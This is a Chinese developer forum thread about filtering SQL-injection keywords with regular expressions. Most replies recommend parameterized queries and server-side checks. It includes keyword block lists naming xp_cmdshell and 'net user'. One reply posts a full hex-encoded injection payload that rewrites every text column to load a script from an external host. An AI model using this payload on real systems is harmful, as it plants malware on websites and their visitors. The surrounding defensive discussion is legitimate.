delete from|from|count\(|drop table|update|truncate|mid\(|char\(|xp_cmdshell|exec master|netlocalgroup administrators|net user|[\{|\}|!|\'] 我怎么写一个正则表达式去匹配这些,    比如说 :  select  什么  from    这样,我中间不限制, 但只要这串字符,里面同时出现 select  什么  from  我就要过滤了  
如from  delete  count  update    select  这些字符单个出现,我不过滤它,可能有点用户名或密码就是这样的。
 

解决方案 »

  1.   

    正则表达式 必须是  如:  select 空格    *或其他   空格  from    后面不限制      在线等候谢谢
      

  2.   

    我上司要求不能这样做 假如     select * from     就变成了  select*from 那这样永远不会匹配了 
      

  3.   

    谁能给我解释一下这个正则表达式吗?详细点谢谢/^\?(.*)(select%20|insert%20|delete%20from%20|count\(|drop%20table|update%20truncate%20|asc\(|mid\(|char\(|xp_cmdshell|exec%20master|net%20localgroup%20administrators|\"|:|net%20user|\'|%20or%20)(.*)$/gi
      

  4.   

    这样?var str = "select * from table where id=123";
    var reg = /(.*?((select)|(from)|(count)|(delete)|(update)|(drop)|(truncate)).*?){2,}/i;
    alert(reg.test(str));
    但推荐用类似 JAVA 里 Prestatement 的方式,全用 ? 代替关键词
    不管是否是可执行的SQL,在 ? 面前都没辙
    (ASP.net 里有类似方法,估计其它语言也有吧)
      

  5.   

    这样的话,把那个单   select   也防止住了, 比如说我的 aselect   这样也被防止住了, 我现在要的效果就是 要出现 select 空格  from   最起码要出现 select 空格  才会防止 ,不然就不防止。
      

  6.   


    就是说: 我现在要过滤那些关键字 ,假如说我现在在文本框中输入: select * from   是不是要过滤啊!  但我单输入一个select  这样就不能防止它。。 我现在就是防止过当了,   我现在只要输入的字符串中出现 关键字, 比如说: 我输入的是 aselect 这样也被防止了
      

  7.   

    注入时不一定是完整的sql代码,所以楼主你那样考虑就不合理。既然已经过滤这关键字了,就不要让用户注册这样的关键字了,提示他该用户名重名或者非法。
    不要把问题弄太繁琐了,有利必有弊。
      

  8.   

    目前为止唯一有效的防注入的方法.
    网上一搜一大堆~~~!
    SQL 指令撰写方法
    在撰写 SQL 指令时,利用参数来代表需要填入的数值,例如:
    [编辑] Microsoft SQL Server
    Microsoft SQL Server 的参数格式是以 "@" 字符加上参数名称而成,SQL Server 亦支持匿名参数 "?"。 SELECT * FROM myTable WHERE myID = @myID
     INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)[编辑] Microsoft Access
    Microsoft Access 不支持具名参数,只支持匿名参数 "?"。 UPDATE myTable SET c1 = ?, c2 = ?, c3 = ? WHERE c4 = ?[编辑] MySQL
    MySQL 的参数格式是以 "?" 字符加上参数名称而成。 UPDATE myTable SET c1 = ?c1, c2 = ?c2, c3 = ?c3 WHERE c4 = ?c4[编辑] 用户端程序撰写方法
    在用户端代码中撰写使用参数的代码,例如:
    [编辑] ADO.NET
    SqlCommand sqlcmd = new SqlCommand("INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)", sqlconn);
     
    sqlcmd.Parameters.AddWithValue("@c1", 1); // 設定參數 @c1 的值。
    sqlcmd.Parameters.AddWithValue("@c2", 2); // 設定參數 @c2 的值。
    sqlcmd.Parameters.AddWithValue("@c3", 3); // 設定參數 @c3 的值。
    sqlcmd.Parameters.AddWithValue("@c4", 4); // 設定參數 @c4 的值。
     
    sqlconn.Open();
    sqlcmd.ExecuteNonQuery();
    sqlconn.Close();[编辑] PHP
    $query = sprintf("SELECT * FROM Users where UserName='%s' and Password='%s'", 
                      mysql_real_escape_string($Username), 
                      mysql_real_escape_string($Password));
    mysql_query($query);
    或是$db = new mysqli("localhost", "user", "pass", "database");
    $stmt = $mysqli -> prepare("SELECT priv FROM testUsers WHERE username=? AND password=?");
    $stmt -> bind_param("ss", $user, $pass);
    $stmt -> execute();[编辑] JDBC
    PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE USERNAME=? AND PASSWORD=?");
    prep.setString(1, username);
    prep.setString(2, password);[编辑] Cold Fusion
    <cfquery name="Recordset1" datasource="cafetownsend">
    SELECT *
    FROM COMMENTS
    WHERE COMMENT_ID =<cfqueryparam value="#URL.COMMENT_ID#" cfsqltype="cf_sql_numeric">
    </cfquery>
      

  9.   

    用javascript来防止注入那别人不用浏览器直接post数据呢?关键是要在服务端做这个工作,前端做起来苍白无力。
      

  10.   

    一个jsp的例子:
    //-----------------------------------------------------------------
            if( ope.equals("add_xxxxx") )
            {
                String arr[] = { request_m.getParameter( "iid"   ),
                                 request_m.getParameter( "items" ) 
                };
                if( update( "insert into web_xxxxx( id, comment ) values(?,?) ", arr ) > 0 )
                    return "操作成功";
            }
    //-----------------------------------------------------------------
        private int update( String sql, String[] arr )throws Exception
        {
            
            xxxxxx.database   db = new xxxxxx.database();
            db.getConn (  );
            db.getPstmt( sql );
            int i = 0;
            for( String ech : arr )
            {   i++;
                db.pstmt.setString( i, ech );
            }
            return db.pstmt.executeUpdate();
        }
    //----------------------------------------------------------------
    public class database
    {
    ............
        public PreparedStatement pstmt  = null;
    ............   
        
        public void  getPstmt( String sqlstr )throws Exception
        {
            pstmt   = conn.prepareStatement(sqlstr);
        }
    ............
    ............ 
    }
      

  11.   

    我这些都过滤了一下,  但有个问题是 ,  我在地址栏   不如说    我的地址是:  http://localhost/webfrom1.aspx
    我现在把它写成这样  http://localhost/webfrom1.aspx?id=1' <script>  就这个<script> 会引发异常, 在在程序里面也过滤了这个<>   ,  在用户名那输入 <script> 就拦截了,     不知道在地址栏为什么拦截不了   
         foreach (string strQuery in this.Request.QueryString) 
                { 
                    if (Request.QueryString[strQuery].Trim().Equals("")) continue; 
                    if (this.CheckKey(Request.QueryString[strQuery], sql, special)) 
                    { 
                        flag = true; 
                        error = new string[] { "QueryString", strQuery }; 
                        break; 
                    } 
                } 
     这里也写了拦截地址栏的啊!   不知道为什么就读取不了  纳闷
      

  12.   

    lz送你一段注入代码,看看你的程序能过录不:dEcLaRe%20@s%20vArChAr(4000);sEt%20@s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f520d0a%20aS%20vArChAr(4000));exec(@s);
      

  13.   

    额D神,很简单的一个东西,直接在服务端对提交过来的数据进行编码,就安全了...
    客户端没必要检测,多此一举客户端的检测仅仅是为了让客户清楚应该输入什么,而不应该因为安全因而在客户端用js过滤。安全因素最终是要服务端来检测拦截的。